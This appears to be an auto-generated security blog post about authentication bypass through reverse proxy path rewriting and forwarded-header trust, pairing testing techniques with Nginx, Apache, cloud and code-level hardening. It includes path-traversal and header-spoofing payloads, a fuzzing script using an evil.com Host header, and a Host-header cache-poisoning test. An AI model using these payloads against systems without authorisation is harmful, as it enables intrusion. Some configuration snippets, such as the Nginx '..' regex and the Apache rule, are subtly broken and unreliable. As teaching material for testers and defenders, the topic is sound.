Listen to this Post
Introduction:
Authentication bypass vulnerabilities often stem not from broken crypto or weak passwords, but from misplaced trust at the proxy layer. When a reverse proxy mishandles request routing or blindly forwards headers like `Host` or X-Forwarded-, it can expose internal endpoints directly to attackers, invalidating upstream authentication controls. This article dissects a real duplicate report from HackerOne—an authentication bypass caused by origin exposure combined with reverse proxy path misconfiguration—and provides actionable testing, exploitation, and hardening techniques for modern infrastructure.
Learning Objectives:
- Understand how reverse proxy path misconfigurations and origin exposure can bypass authentication.
- Learn to detect and exploit proxy-layer trust boundaries using Linux/Windows commands and custom headers.
- Implement mitigation strategies including proxy hardening, header validation, and cloud-native access controls.
You Should Know
- Origin Exposure & Path Misconfiguration – The Core Flaw
The reported vulnerability arose when an application behind a reverse proxy exposed its internal origin server due to improper path rewriting. The proxy was configured to route `/api/` to a backend authentication service, but a separate rule allowed direct access to the origin’s `/static/` or `/debug/` endpoints without stripping authentication headers. Attackers can exploit this by sending requests that the proxy interprets as safe static content, but the origin sees as an authenticated API call.
Step‑by‑step guide to identify this misconfiguration:
- Map the proxy behaviour – Send a request with an unusual `Host` header to see if the proxy forwards it verbatim:
curl -H "Host: internal-origin.example.com" https://target.com/api/health
- Test path traversal – Append `../` or encoded sequences to bypass path-based routing:
curl https://target.com/api/../../static/../../admin/config
- Check for header leakage – Use `-v` to see if
X-Forwarded-For,X-Real-IP, or `X-Original-URI` reveal internal paths. - Automate with Burp Suite – Send requests to the proxy and directly to the origin (if IP discovered) to compare response differences.
Windows equivalent (PowerShell):
Invoke-WebRequest -Uri "https://target.com/api/../../admin" -Headers @{"Host"="internal-origin.local"}
2. Detecting Misplaced Trust Boundaries with Header Analysis
Proxies often inject headers like `X-Forwarded-Prefix` or X-Original-URL. If the backend authentication mechanism trusts these blindly, an attacker can forge them to impersonate internal routes.
Step‑by‑step header manipulation test:
- Craft a request with forged `X-Original-URL` – This tells the backend the original requested path, potentially bypassing proxy ACLs.
curl -H "X-Original-URL: /admin/delete-all" https://target.com/api/user
- Test `X-Forwarded-Prefix` injection – Some proxies strip a prefix; injecting a different prefix may lead to path confusion.
curl -H "X-Forwarded-Prefix: /admin" https://target.com/static/../api/users
- Use `–path-as-is` with cURL – Prevent cURL from normalising `..` sequences, revealing if the proxy respects them.
- Monitor response headers – Look for
Server,X-Powered-By, or `Via` that hint at internal origin software (e.g., nginx/1.18.0 → internal vs Cloudflare → external proxy).
Linux command to brute-force common proxy headers:
for header in "X-Forwarded-Host" "X-Forwarded-Scheme" "X-Forwarded-Port" "X-Real-IP" "X-Original-Host"; do curl -H "$header: 127.0.0.1" -I https://target.com/private done
3. Exploiting Reverse Proxy Path Rewriting Flaws
A classic bypass occurs when the proxy rewrites `/protected/` to `/auth/` but fails to rewrite /protected/..;/admin. The semicolon `..;` can confuse path normalisation.
Step‑by‑step exploitation of path rewrite bypass:
- Identify rewrite rules – Use fuzzing with a wordlist of common rewrite-sensitive characters:
..;/,%2e%2e%2f,%252e%252e%252f.
2. Send a request like:
curl "https://target.com/protected/..;/admin/config"
3. Observe if the backend receives `/admin/config` – If the proxy normalises `..;` as `../` but passes the rest unchanged, authentication may be skipped.
4. Use Burp Intruder to compare response lengths – Set payloads as ..;/, ..%3B/, %2e%2e%3b%2f.
5. If successful, retrieve sensitive endpoints – e.g., /.env, /server-status, /actuator/health.
Python script to automate bypass testing:
import requests
paths = ["/admin", "/api/internal", "/debug/pprof", "/.git/config"]
payloads = ["/protected/..;/{}", "/api/..;{}", "/static/..;/..;/{}"]
for p in paths:
for pay in payloads:
url = "https://target.com" + pay.format(p)
r = requests.get(url, headers={"Host": "evil.com"})
if r.status_code != 404:
print(f"Bypass: {url} -> {r.status_code}")
- Mitigation – Hardening Proxy Configurations (Nginx & Apache)
To prevent origin exposure and path misconfiguration, implement strict proxy rules and header sanitisation.
Step‑by‑step hardening for Nginx:
1. Disable unsafe path normalisation
location /api/ {
Strip .. segments explicitly
if ($request_uri ~ "..") { return 403; }
proxy_pass http://backend-api;
}
2. Validate and override incoming headers
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $host; Never trust client Host
3. Use `proxy_redirect` to prevent origin leak
proxy_redirect http://backend-api/ /api/;
4. Add `internal` directive for sensitive locations – prevents external requests.
location /internal/ {
internal;
proxy_pass http://backend-internal;
}
Apache equivalent:
ProxyPass /api/ http://backend-api/ retry=0
ProxyPassReverse /api/ http://backend-api/
Block encoded traversal
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /...[/\\]. HTTP/
RewriteRule . - [F,L]
- Testing Proxy Trust Boundaries on Windows & Linux
Use command-line tools to simulate both proxy and origin requests.
Linux commands for proxy-layer validation:
Direct origin access via internal IP (if discovered) curl -k -H "Host: internal-api.corp" https://10.0.0.5/admin Compare responses with/without proxy headers curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/monitor curl -H "X-Forwarded-For: 8.8.8.8" https://target.com/monitor Test cache poisoning via Host header curl -H "Host: attacker.com" -I https://target.com/static/style.css
Windows Command Prompt & PowerShell:
curl -H "X-Original-URL: /secret" https://target.com/api/me
Use .NET WebRequest to manipulate headers more granularly
$req = [System.Net.WebRequest]::Create("https://target.com/health")
$req.Headers.Add("X-Forwarded-Prefix", "/admin")
$req.GetResponse() | Select-Object StatusCode
- Cloud Hardening – AWS ALB, Azure App Gateway & GCP Cloud Load Balancing
Cloud load balancers can also misroute requests if path‑based rules are too permissive.
Step‑by‑step cloud hardening:
- AWS ALB – Use listener rules with priority ordering. Ensure catch‑all rule points to a 403 page, not the origin.
– Enable WAF ACL with rule group `CRS` to block path traversal.
– Set X-Forwarded-For trust only from VPC CIDR.
2. Azure App Gateway – Disable “override backend path” unless necessary. Use rewrite sets to remove suspicious headers.
– Example rewrite rule to drop X-Original-URL:
{ "name": "DropXOriginalURL", "conditions": [ ... ], "actions": [ { "type": "Delete", "header": "X-Original-URL" } ] }
3. GCP Cloud Load Balancing – Use Cloud Armor to deny `eval()` or `..` patterns. Enable logging to detect anomalous `Host` headers.
4. Kubernetes Ingress – Annotate with `nginx.ingress.kubernetes.io/rewrite-target` carefully. Never set `use-regex: true` without proper sanitisation.
- API Security – Preventing Authentication Bypass at the Code Level
Even with a hardened proxy, APIs must not trust proxy headers for critical decisions.
Step‑by‑step secure coding practices:
- Never rely on `X-Forwarded-For` for authentication – Use the actual source IP from the proxy’s trusted connection (e.g., `$remote_addr` in Nginx).
- Validate path parameters after normalisation – In Python Flask:
from urllib.parse import unquote if '..' in unquote(request.path): abort(403)
- Implement API key or JWT bound to origin hostname – Reject requests where the `Host` header doesn’t match an allowlist.
- Use structured logging – Log `X-Forwarded-` and actual origin for anomaly detection.
echo '{"time":"...","host":"client.com","x_forwarded_host":"evil.com"}' >> /var/log/api.log
What Undercode Say
- Key Takeaway 1: A duplicate HackerOne report is not low severity—it confirms that proxy-layer trust boundaries are a persistent, exploitable class of vulnerabilities across modern web infrastructures.
- Key Takeaway 2: Mitigation requires a defence‑in‑depth approach: harden proxy rewrite rules, sanitise all forwarded headers, never rely on client-specified values for authentication, and test with both normalised and abnormal path sequences.
Analysis: The original post highlights a subtle but critical pattern: when a reverse proxy fails to enforce trust boundaries, any upstream authentication can be invalidated. Attackers can leverage origin exposure—where internal IPs or hostnames leak via error messages or headers—to bypass proxy ACLs entirely. Duplicate reports on HackerOne often indicate that while a specific instance was fixed, the root misconfiguration (path rewrite logic + header trust) remains widespread. Practitioners should treat proxy configurations as security-critical code, review them with the same rigour as application logic, and routinely fuzz path normalisation behaviours. The rise of microservices and API gateways amplifies this risk, as each additional proxy layer expands the attack surface.
Prediction
As organisations adopt service meshes (Istio, Linkerd) and edge proxies (Envoy, Traefik), the complexity of request routing will skyrocket. Expect a surge in authentication bypass bugs caused by misconfigured path rewrites, header spoofing, and origin exposure across multi‑cloud environments. Automated tools will struggle to detect these logic flaws, forcing pentesters to develop custom fuzzers for proxy‑layer trust boundaries. In response, frameworks like OPA (Open Policy Agent) will become mandatory to centrally enforce routing policies, and we will see new CWE classes specifically for “Improper Request Normalization at Proxy Layer”. The HackerOne duplicate discussed here is a warning: the proxy is the new perimeter, and it’s equally brittle.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Kavenps007 Closed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
